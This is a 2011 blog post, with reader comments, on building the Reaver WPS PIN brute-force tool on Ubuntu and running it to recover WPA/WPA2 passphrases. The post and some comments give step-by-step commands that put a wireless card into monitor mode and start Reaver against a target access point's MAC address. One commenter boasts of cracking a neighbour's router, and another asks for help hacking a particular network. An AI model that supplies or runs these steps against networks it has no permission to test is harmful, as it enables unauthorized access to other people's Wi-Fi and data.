Friday, December 30, 2011

Installing Reaver 1.2 on Ubuntu


Hello internet,
I've been hearing all about this tool "Reaver":
Reaver implements a brute force attack against Wifi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases, as described in http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf
1) Download (I downloaded the latest tar.gz, 1.2)
2) Ungzip, untar: `tar xvfz reaver-1.2.tar.gz`
3) Install dependencies: `sudo apt-get install libpcap-dev`

*NOTE* -- It seems like it may also depend on sql-lite ... or something, this is from the comments:

3a.) `sudo apt-get install libsqlite3-dev`

4) config, make install:
`./configure`
`make`
`sudo make install`

5)now type `reaver` at the command line to see usage :)

You'll also probably want the aircrack-ng suite if you haven't done any wifi cracking/recon/diddling before...

~NOW~
I'm going to just type out what I'm doing as I go along to actually use reaver.

1) `sudo airodump-ng eth1` checking the BSSIDs and looking for my WPA2 AP.
2) `sudo airmon-ng start eth1`
3) exit, then open reaver `sudo reaver -i eth1 -b 00:11:22:33:44:55 -c 11 -vv`

Now... I'm not sure if it's doing it's magick, I'll check wireshark soon, and maybe read the paper about the vulnerability, but I'm in skirpt kiddy mode at the moment.

*edit*
It wasn't doing it's magic. My card doesn't support packet INJECTION, oh well maybe someday I'll get a real man's wifi interface.

Good luck!

Also here's someone actually running the attack:

34 comments:

  1. Nice ... It worked fine ...

    ReplyDelete
  2. Im running Ubuntu 11.10 32bit on a 4 gig flashdrive and I cannot get it to configure. When I type ./configure it comes back with Permission Denied. I am in the proper directory when I run the command and yes its all extracted proper as well.
    Any thoughts?

    ReplyDelete
    Replies
    1. Try to run the commands as root

      sudo ./configure
      sudo make
      sudo make install

      it will ask you for your password. Enter your password and press enter.

      NOTE : if you boot from USB/DVD you do not have a password so just press "Enter"

      Delete
    2. You have to be in the reaver-1.4/src folder to use the ./compile command

      Delete
  3. the secret is:
    chmod a+x configure

    ReplyDelete
  4. When I try to do this on an Ubuntu live CD running, I get:

    checking for pcap_open_live in -lpcap... no
    error: pcap library not found!

    Apt-get claims that libpcap-dev is in its newest version.

    ReplyDelete
    Replies
    1. I'm not sure what you could do, I know there's probably more examples (or will work) with a different live CD (more security oriented) like Backtrack or something.

      If "locate" is installed you could do something like `locate pcap.h` and copy the directory into the make file where it says soemthing like gcc/g++ -I/usr/lib/pcap1.66/

      I don't know this is all off the top of my head, gl

      Delete
    2. also what step are you getting that error? ./configure or make?

      Delete
    3. I'm not the same person who asked first. I have the same error when I do configure. I have already installed the libpcap-dev but the error is still there

      Delete
    4. Same error here. Is in ./configure step, when it tries to detect if all necessary libraries are present.

      Delete
    5. OK, i solved the issue: just run: sudo apt-get install libsqlite3-dev
      Then, try ./configure and all should be OK.

      Delete
    6. I'll add that to the post, thanks for taking the time to help out the community.

      Delete
  5. E: Unable to lock the download directory

    ReplyDelete
    Replies
    1. sudo or look at the other comments above

      Delete
  6. you guys are speaking gibberish to me. i don't know how to do the .configure and this is really frustrating. i tried executing the configure script in the terminal but it doesn't do anything. i've tried entering all the stuff into the terminal, arg, i'm a noob..

    ReplyDelete
    Replies
    1. lol :)

      Ok well it's a good idea to learn about what each thing is doing. sudo is a command that gives the next commands higher (root) privileges on the system.

      Also it's not .configure, it's ./configure. The ./ means to the computer "look in the current directory for the file that's after the slash and try to execute it". ./configure should execute the file in the directory you're in.

      If you aren't familiar with "directory transversal" do that! It should be something to learn before doing anything else! Commands like `ls` (lists files/directories) and `cd` (change directory). Tab completion is also very useful. Say you download and extract the tar (tape archive, its an old term from when files were stored on tapes) file, you can type cd reav and the bash should complete the file name so you don't have to painfully type each character out.

      Anyway... hard to know where you are going wrong! Hope that's no gibberish above, I'd like to look at myself as a good teacher :p

      Delete
  7. could you explain step four...exactly what do i have to type

    ReplyDelete
    Replies
    1. cd reaver-1.2.tar.gz
      ./configure
      make
      sudo make install

      Delete
  8. http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver

    ReplyDelete
  9. thanks for the tutorial, after reading I went ahead and tried it on my Lenovo laptop with Ubuntu 11.10. Here I wrote about my experience with installing reaver on Ubuntu on a Lenovo laptop.

    ReplyDelete
  10. I cant get anywhere when trying this. I downloaded the latest reaver and when i go to unzip i get this:

    ubuntu@ubuntu:~$ tar xvfz reaver-1.4.tar.gz
    tar (child): reaver-1.4.tar.gz: Cannot open: No such file or directory
    tar (child): Error is not recoverable: exiting now
    tar: Child returned status 2
    tar: Error is not recoverable: exiting now

    ReplyDelete
    Replies
    1. cd ~/Downloads

      then run the tar command.

      You have to be in the same directory as the reaver-xx.tar.gz file. You can view files in your directory by running ls

      You can change to a different directory by using cd

      Good luck, read some basic bash tutorial if you need help.

      Delete
    2. Awesome thanks! I think it unzipped properly, it showed a massive list of reaver files. Now when I type in ./configure though, it still does nothing. I tried changing directories as well to no avail.

      ubuntu@ubuntu:~/Downloads$ ./configure
      bash: ./configure: No such file or directory
      ubuntu@ubuntu:~/Downloads$ cd
      ubuntu@ubuntu:~$ ./configure
      bash: ./configure: No such file or directory

      sorry I am very new to the terminal.

      Delete
    3. read this: http://ss64.com/bash/cd.html

      You're doing it wrong :P

      cd reaver-1.4/

      you can use `pwd` to see where you are in your computer, probably /home/ubuntu/Downloads/

      The Downloads directory contains reaver-1.4/ directory

      you can SEE what's in a directory by doing `ls`

      This is my last response, learn to read man pages (type man man in the terminal, press q to get out of a man[ual] page) and google is your friend, besides me of course, but I know you'll learn more by sweating and searching than being spoon fed very basic commands.

      Delete
  11. if you get permission denied move the folder reaver-1.4 to home directory and then cd /reaver-1.4/src/ and do sudo chmod a+x configure.
    than ./configure
    ....

    ReplyDelete
  12. You need to go 'cd src'. you are in the wrong folder.

    ReplyDelete
  13. HEY EVERY ONE
    LISTEN
    DO THIS ,IT WILL WORK 100%
    i have done for u
    it will work 100% ,if not ,PM me to email
    100% will work ,FOR FULL NEWBIES

    First you need to download the latest source from http://code.google.com/p/reaver-wps/

    wget http://reaver-wps.googlecode.com/files/reaver-1.3.tar.gz

    Extract the tarball

    tar -xzvf reaver-1.3.tar.gz

    Install Required Libraries and Tools

    Before you can build Reaver you need pcaplib and later on aircrack-ng to run Reaver

    sudo apt-get install libpcap-dev aircrack-ng sqlite3 libsqlite3-dev

    Compile and Install

    Build Reaver

    cd reaver-1.3
    cd src
    ./configure
    make

    Install Reaver

    sudo make install

    Run

    Reaver is now installed and ready to use. You will first need to put the wifi adapter info monitor mode before you can start and the most easiest way is to use airmon-ng (part of aircrack-ng) that you just installed.

    First put your adapter info monitor mode, in my case it’s wlan0

    sudo airmon-ng start wlan0

    Run Reaver

    sudo reaver -i mon0 -b 00:00:00:00:00:00

    Replace MAC 00:00:00:00:00:00 with the actual AP:s MAC address to crack


    -sushanta maharjan
    masush3@gmail.com for more detail

    ReplyDelete
  14. nak's tutorial worked fine for me. I used wifite python script and managed to crack neighbours router in less than 6 hours. This script finds both pin and WPA keys. He has better net bandwidth than me, :D.
    Router cracked: TL-WR741N
    WiFi card used: TL-WN722N
    OS: Ubuntu 11.04 (Sn0wlinux distribution x64)

    ReplyDelete
  15. Have installed Reaver and it runs. BUT no handshake! How long do I have to wait for the Handshake? It tells me the password that it tries put it's always the same code! ANd no handshake - pls help

    ReplyDelete
  16. i have a problem, i already installed everything.
    i used the exact same method as described above.
    TERMINAL LOG:

    localhost:/reaver-1.2/src# make
    (cd libwps && make)
    make[1]: Entering directory `/reaver-1.2/src/libwps'
    gcc -Wall libwps.c -c
    make[1]: Leaving directory `/reaver-1.2/src/libwps'
    (cd utils && make)
    make[1]: Entering directory `/reaver-1.2/src/utils'
    CC base64.c
    CC common.c
    CC ip_addr.c
    CC radiotap.c
    CC trace.c
    CC uuid.c
    CC wpa_debug.c
    CC wpabuf.c
    CC os_unix.c
    CC eloop.c
    ar crT libutils.a base64.o common.o ip_addr.o radiotap.o trace.o uuid.o wpa_debug.o wpabuf.o os_unix.o eloop.o
    ar: illegal option -- T
    Usage: ar [emulation options] [-]{dmpqrstx}[abcfilNoPsSuvV] [member-name] [count] archive-file file...
    ar -M [ - read options from
    emulation options:
    No emulation specific options
    ar: supported targets: elf32-littlearm elf32-bigarm elf32-little elf32-big srec symbolsrec tekhex binary ihex
    make[1]: *** [libutils.a] Error 1
    make[1]: Leaving directory `/reaver-1.2/src/utils'
    make: *** [libutils] Error 2
    localhost:/reaver-1.2/src# make install
    if [ ! -d /etc/reaver ]; then mkdir /etc/reaver; fi
    if [ -e reaver ]; then cp reaver /usr/local/bin/reaver; fi
    ln -s /usr/local/bin/reaver /usr/bin/reaver

    ReplyDelete
  17. This comment has been removed by the author.

    ReplyDelete
  18. After installing everything i enter " root@laptop:~/Downloads/reaver-1.4/src# sudo reaver -i mon0 -b CE:3A:61:5E:CB:2D " command to hack certain wifi.

    but at last i got an error :-
    " [+] Waiting for beacon from CE:3A:61:5E:CB:2D
    [!] WARNING: Failed to associate with CE:3A:61:5E:CB:2D (ESSID: (null))
    [!] WARNING: Failed to associate with CE:3A:61:5E:CB:2D (ESSID: (null))
    [!] WARNING: Failed to associate with CE:3A:61:5E:CB:2D (ESSID: (null))
    [!] WARNING: Failed to associate with CE:3A:61:5E:CB:2D (ESSID: (null))
    [!] WARNING: Failed to associate with CE:3A:61:5E:CB:2D (ESSID: (null))
    [!] WARNING: Failed to associate with CE:3A:61:5E:CB:2D (ESSID: (null))
    [!] WARNING: Failed to associate with CE:3A:61:5E:CB:2D (ESSID: (null)) "

    Please help me to resolve this. Please !

    ReplyDelete
    Replies
    1. please reply anybody .. for this question.

      Delete